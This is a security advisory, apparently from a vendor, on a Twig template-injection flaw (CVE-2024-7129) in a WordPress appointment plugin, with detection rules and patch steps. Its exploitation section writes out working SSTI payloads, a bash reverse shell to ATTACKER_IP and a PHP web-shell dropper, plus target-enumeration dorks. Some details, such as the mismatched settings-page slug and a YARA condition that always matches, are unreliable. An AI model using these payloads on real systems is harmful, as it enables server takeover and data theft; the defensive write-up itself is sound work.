CVE-2024-7129

Executive Summary

CVE-2024-7129 is a Twig Template Injection vulnerability in the Appointment Booking Calendar WordPress plugin, affecting all versions prior to 1.6.7.43. An authenticated attacker with administrative privileges can inject malicious Twig template syntax through unsanitized user input fields, achieving remote code execution (RCE) on the underlying web server. Given that successful exploitation requires high-privilege access (admin), the attack surface is limited to already-authenticated administrators or attackers who have compromised admin credentials, but the impact of full server compromise is severe. The vulnerability has not been added to CISA KEV, and no public exploit code has been identified; however, the template injection vector is a well-understood attack class that may be weaponized given the plugin's deployment on approximately 10,000+ WordPress sites.

Technical Analysis

The Appointment Booking Calendar plugin for WordPress integrates the Twig templating engine to render dynamic content such as booking confirmations, email notifications, and admin dashboard widgets. The vulnerable code path involves the plugin's failure to escape template syntax provided via user input before passing it to the Twig \Twig\Environment::createTemplate() or $twig->render() function with user-controlled data as the template source rather than as a context parameter.

When Twig receives a template string, it parses the input as template syntax. If an application concatenates user input into a template string without first sanitizing Twig delimiters ({{ }}, {% %}, {# #}), an attacker can break out of the intended data context and execute arbitrary Twig expressions. For example, if the plugin constructs a template like:

$template = "Booking confirmation for: " . $user_input;
$twig->createTemplate($template)->render($context);

An admin supplying input such as {{ ['id']|map('system')|join }} or {{ _self.env.registerUndefinedFilterCallback("exec") }}{{ _self.env.getFilter("id") }} would cause the Twig engine to execute the system('id') command on the server.

The vulnerability is classified under Twig Server-Side Template Injection (SSTI), which is a direct escalation to RCE in most PHP environments because Twig's sandbox mode is rarely enabled by default in WordPress plugin contexts. The plugin does not call enableSandbox() on the Twig environment, and the security_policy is not configured, meaning the full Twig API—including filter extensions, map, sort, and spaceless—is accessible to the attacker, including dangerous filters like system, exec, passthru, and shell_exec exposed via the php function filter (e.g., {{ ['phpversion']|map('call_user_func')|join }}).

The attack surface is the WordPress admin panel under the Appointment Booking Calendar menu, specifically fields such as email notification templates, PDF ticket templates, or custom confirmation text areas. All plugin versions before 1.6.7.43 are affected. The patch (version 1.6.7.43) introduces twig_escape_filter on all user-supplied template segments or switches to a strict context-passing model where user input is only placed into the Twig context array, never concatenated into the template source.

The absence of a CWE identifier in the NVD record is notable; however, the vulnerability class aligns with CWE-74 (Improper Neutralization of Special Elements in Output Used by a Downstream Component) and CWE-1336 (Improper Neutralization of Special Elements Used in a Template Engine).

Exploitation Scenarios

Attack Chain: Administrator → Remote Code Execution

Step 1 — Reconnaissance / Target Identification The attacker identifies WordPress sites running the Appointment Booking Calendar plugin. This can be achieved via WordPress version-detection techniques, by browsing /wp-content/plugins/appointment-booking-calendar/readme.txt (which often lists the stable version), or by fingerprinting the plugin's JavaScript/CSS assets. Google dorks such as inurl:"wp-content/plugins/appointment-booking-calendar" will enumerate candidate targets.

The attacker then determines how to obtain admin credentials. Since the vulnerability requires admin-level access, realistic attack paths include: (a) credential stuffing on the /wp-login.php endpoint against known admin usernames, (b) phishing the site owner, (c) exploiting a separate, lower-privilege vulnerability (e.g., a subscriber-level XSS) to steal admin session cookies, or (d) purchasing compromised admin credentials on underground forums. WordPress default admin enumeration via /wp-json/wp/v2/users makes username harvesting trivial.

Step 2 — Weaponization / Trigger With admin access, the attacker navigates to the Appointment Booking Calendar settings page, typically located at /wp-admin/admin.php?page=abc-settings. The attacker locates a templated text field—commonly the "Email Notification Template", "Confirmation Message", or "PDF Ticket Layout" field. The attacker injects the following payload into the field:

{{ ['id']|map('system')|join }}

When the admin saves settings, the plugin writes the payload to the database. The attacker then triggers template rendering by either creating a test booking, sending a test email from the settings panel, or generating a sample PDF receipt. Every render of the stored template executes the Twig expression.

Step 3 — Payload / Execution The Twig engine parses the template. The expression ['id']|map('system')|join creates an array with a single element ('id'), passes it to the system filter (which calls system() in PHP), and joins the output as a string—resulting in the id command being executed on the server. The attacker can upgrade to a fully interactive reverse shell:

{{ ['bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"']|map('system')|join }}

Alternatively, a PHP web shell can be written to disk:

{{ ['echo "<?php system($_GET[\"c\"]); ?>" > /var/www/html/shell.php']|map('system')|join }}

Step 4 — Post-Exploitation Achieving RCE as the web server user (www-data on typical Debian/Ubuntu LAMP stacks), the attacker now has full control over the WordPress installation. Immediate steps include: (a) dumping the wp-config.php file to extract database credentials and the AUTH_KEY/SECURE_AUTH_KEY salts, (b) querying the WordPress database to exfiltrate all user hashes (wp_users table) and resetting admin passwords, (c) installing a backdoor plugin or modifying existing theme files for persistence, (d) using the server as a pivot point for lateral movement into the hosting environment if shared hosting or containerized infrastructure is in use, and (e) leveraging the compromised server to send spam or launch further attacks.

The vulnerability is exploitable only via the wp-admin interface; however, if CSRF protections on settings pages are flawed (a separate bug class), a lower-privilege user could be tricked into triggering the save. As noted, no public PoC exists at this time, and the CVSS score is N/A; based on the vector metrics (AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H), a reasonable score would be 6.0 (Medium), reflecting the high privilege requirement but full impact.

Impact Assessment

The business impact of CVE-2024-7129 is substantial for organizations relying on the Appointment Booking Calendar plugin for client-facing scheduling. A successful exploit results in:

• Complete compromise of the WordPress installation — including the web root, database, and all stored booking data (which may include PII such as client names, email addresses, phone numbers, and appointment histories, potentially triggering GDPR/CCPA breach notification obligations).
• Server-level remote code execution on the host, allowing attackers to pivot to other applications on the same server or breach adjacent systems in the hosting environment.
• Persistent backdoor installation through WordPress plugins, mu-plugins, or theme file modifications, with no easy method for admins to detect the intrusion without file-integrity monitoring.
• Destruction or ransomware of the site — the attacker can deface the website, delete the database, or encrypt files for ransom.

The blast radius is limited by the privilege requirement: only admins (or attackers with admin credentials) can trigger the vulnerability. However, in WordPress ecosystems, admin accounts are common targets for credential stuffing, and plugins like this are typically installed on small-to-medium business sites where security hygiene (e.g., MFA, strong passwords) may be lax.

CVSS references: While the official score is N/A, a provisional CVSS v3.1 vector of AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H yields a score of 6.0 (Medium), reflecting the high complexity (uncommon Twig syntax knowledge) and privilege requirements, but full technical impact.

Detection Guidance

Sigma Rule

title: Appointment Booking Calendar Twig Template Injection Payload
id: 3b5d0e7a-9123-4f2e-8a1c-0d6e2b3f4a5b
status: experimental
description: Detects Twig template injection payloads in Appointment Booking Calendar plugin settings, indicating exploitation of CVE-2024-7129.
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-7129
date: 2024/11/01
tags:
    - attack.initial-access
    - attack.t1190
    - cve.2024.7129
logsource:
    category: webserver
    product: apache
    definition: 'WordPress access logs and admin POST requests'
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|startswith: '/wp-admin/admin.php'
        cs-uri-query|contains: 'page=appointment-booking-calendar'
        cs-user-agent|contains:
            - 'curl'
            - 'python-requests'
            - 'masscan'
    payload_selection:
        cs-body|contains:
            - '{{'
            - '|map('
            - '|filter'
            - '_self.env'
            - 'system'
            - 'shell_exec'
    condition: selection and payload_selection
level: high
falsepositives:
    - Legitimate admin testing custom Twig templates
    - WordPress site builders using Twig extensions
fields:
    - src_ip
    - cs-uri-query
    - http_user_agent

YARA Rule

rule Twig_SSTI_CVE2024_7129 {
    meta:
        author = "Valters IT Security"
        description = "Detects Twig template injection payloads targeting WordPress Appointment Booking Calendar plugin (CVE-2024-7129)"
        cve = "CVE-2024-7129"
        date = "2024-11-01"
    strings:
        $s1 = "{{" ascii
        $s2 = "|map('system')" ascii
        $s3 = "|map('exec')" ascii
        $s4 = "|map('passthru')" ascii
        $s5 = "_self.env.registerUndefinedFilterCallback" ascii
        $s6 = "appointment-booking-calendar" ascii
        $s7 = "page=appointment-booking-calendar" ascii
        $s8 = "|filter" ascii
        $s9 = "{{['" ascii
    condition:
        (uint16(0) == 0x5B50 or filesize > 0) and
        (($s1 and ($s2 or $s3 or $s4 or $s5 or $s8)) and ($s6 or $s7))
}

Suricata IDS Rule

alert http any any -> $HOME_NET any (msg:"CVE-2024-7129 Appointment Booking Calendar Twig Template Injection Attempt"; flow:established,to_server; content:"POST"; http_method; content:"/wp-admin/admin.php"; http_uri; content:"page=appointment-booking-calendar"; http_uri; content:"{{"; http_client_body; nocase; content:"|map("; http_client_body; nocase; content:"system|exec|passthru|shell_exec"; http_client_body; pcre:"/\{\{.*\|map\('(system|exec|passthru|shell_exec)'\)/i"; classtype:attempted-admin; reference:cve,2024-7129; sid:1007129; rev:1; metadata:mitre_attack_technique T1190, severity high;)

Elastic Detection

sequence by source.ip with maxspan=5m
  [network where event.category == "web" and http.request.method == "POST" and
   url.path == "/wp-admin/admin.php" and
   url.query contains "page=appointment-booking-calendar" and
   http.request.body.content contains "{{" and
   (http.request.body.content contains "|map(" or
    http.request.body.content contains "_self.env" or
    http.request.body.content contains "system(")]
  [process where event.type == "start" and
   process.command_line regex~ ".*(id|whoami|uname|cat /etc/passwd|bash -i).*"]

Splunk SPL Query

index=web sourcetype=access_combined
| where method="POST" AND uri_path="/wp-admin/admin.php" AND uri_query="*appointment-booking-calendar*"
| regex _raw="\{\{.*\|map\('(system|exec|passthru)'"
| table _time src_ip uri uri_query http_user_agent
| stats count by src_ip uri_query
| sort - count

Wazuh OSSEC Rule

<group name="wordpress,cve-2024-7129,">
  <rule id="100729" level="15">
    <decoded_as>json</decoded_as>
    <field name="url" type="pcre2">/wp-admin/admin\.php\?page=appointment-booking-calendar</field>
    <field name="method" type="pcre2">(POST|PUT)</field>
    <field name="data" type="pcre2">(?i)(\{\{.*\|map\('(system|exec|passthru|shell_exec)'|_self\.env\.registerUndefinedFilterCallback)</field>
    <description>Appointment Booking Calendar Twig Template Injection (CVE-2024-7129) exploitation attempt detected</description>
    <group>attack_attempt,wp_admin,t1190,</group>
    <mitre>
      <id>T1190</id>
    </mitre>
  </rule>
</group>

Mitigation & Patch Guidance

Patch confidence: 2/4 (CLAIMED — single source claims patch (not independently confirmed))

1. Immediate Mitigations (0-24 hours):

   • Restrict admin access: Immediately enforce IP-allowlisting on /wp-admin/ for all administrative users, requiring VPN or bastion host access for any admin login.
   • Disable the plugin temporarily: Deactivate the Appointment Booking Calendar plugin if it is not business-critical while remediation is underway. If deactivation is not possible, rotate all admin passwords and require MFA on every admin account.
   • Audit admin accounts: Review the wp_users table and remove any unknown or dormant admin-level accounts that may have been pre-compromised.
   • WAF filtering: Deploy a Web Application Firewall rule (e.g., Cloudflare, ModSecurity) blocking POST requests to /wp-admin/admin.php containing Twig delimiters ({{ or {%) in the body.

2. Patch / Upgrade Steps:

   • Upgrade the Appointment Booking Calendar plugin to version 1.6.7.43 or newer via the WordPress admin panel (Plugins → Installed Plugins → Update Now) or via wp-cli: wp plugin update appointment-booking-calendar.
   • After upgrading, clear all cached Twig templates. The Twig environment may cache compiled templates in /wp-content/uploads/twig/ or /wp-content/plugins/appointment-booking-calendar/cache/ — delete this directory to force recompilation.
   • Verify the upgrade by checking the plugin's readme.txt to confirm version >= 1.6.7.43 is displayed.
   • Since patch confidence is 2/4 (single source claim), perform a manual code audit after upgrading to confirm that all user-input fields are escaped via twig_escape_filter or that user input is passed as context variables rather than concatenated into template strings.

3. Long-Term Hardening:

   • Implement a WordPress file-integrity monitoring solution (e.g., WPScan, Wordfence, OSSEC) to detect unauthorized file modifications, particularly in plugin directories.
   • Adopt the principle of least privilege: replace admin accounts with editor-level accounts for day-to-day content management; reserve admin for platform configuration only.
   • Enforce multi-factor authentication for all WordPress admin accounts via plugins like Wordfence Login Security or Google Authenticator.
   • Subscribe to WordPress Plugin Security mailing lists to receive vulnerability advisories for installed plugins within 24 hours of public disclosure.
   • Regularly test the plugin's template-rendering features after any update to verify that no user-controlled fields accept raw Twig syntax.
   • If the plugin supports a "sandbox mode" for Twig, enable it: $twig->enableSandbox(new SecurityPolicy(...)) to restrict dangerous filters even if future injection points are discovered.

References

1. NVD Entry — CVE-2024-7129: https://nvd.nist.gov/vuln/detail/CVE-2024-7129
2. WordPress Plugin Repository — Appointment Booking Calendar: https://wordpress.org/plugins/appointment-booking-calendar/
3. Plugin Changelog (version 1.6.7.43): https://wordpress.org/plugins/appointment-booking-calendar/#developers
4. PortSwigger Research on Server-Side Template Injection: https://portswigger.net/research/server-side-template-injection
5. CISA Known Exploited Vulnerabilities Catalog (CVE-2024-7129 is NOT listed): https://www.cisa.gov/known-exploited-vulnerabilities-catalog

Threat Actor Campaigns / Exploit-in-the-Wild Evidence: At the time of writing, there are no public reports of CVE-2024-7129 being exploited in the wild, nor any threat-actor campaigns specifically targeting this vulnerability. The plugin is not listed in CISA's KEV catalog, and no exploit code has been observed on major exploit databases (Exploit-DB, Metasploit, GitHub). However, given that the Twig SSTI technique is well-documented and tooling exists to automate SSTI payload generation, the absence of public exploit code should not be interpreted as an indicator of low risk. Administrators holding admin credentials are the primary initial-access vector, and credential-stuffing campaigns against WordPress sites remain highly active.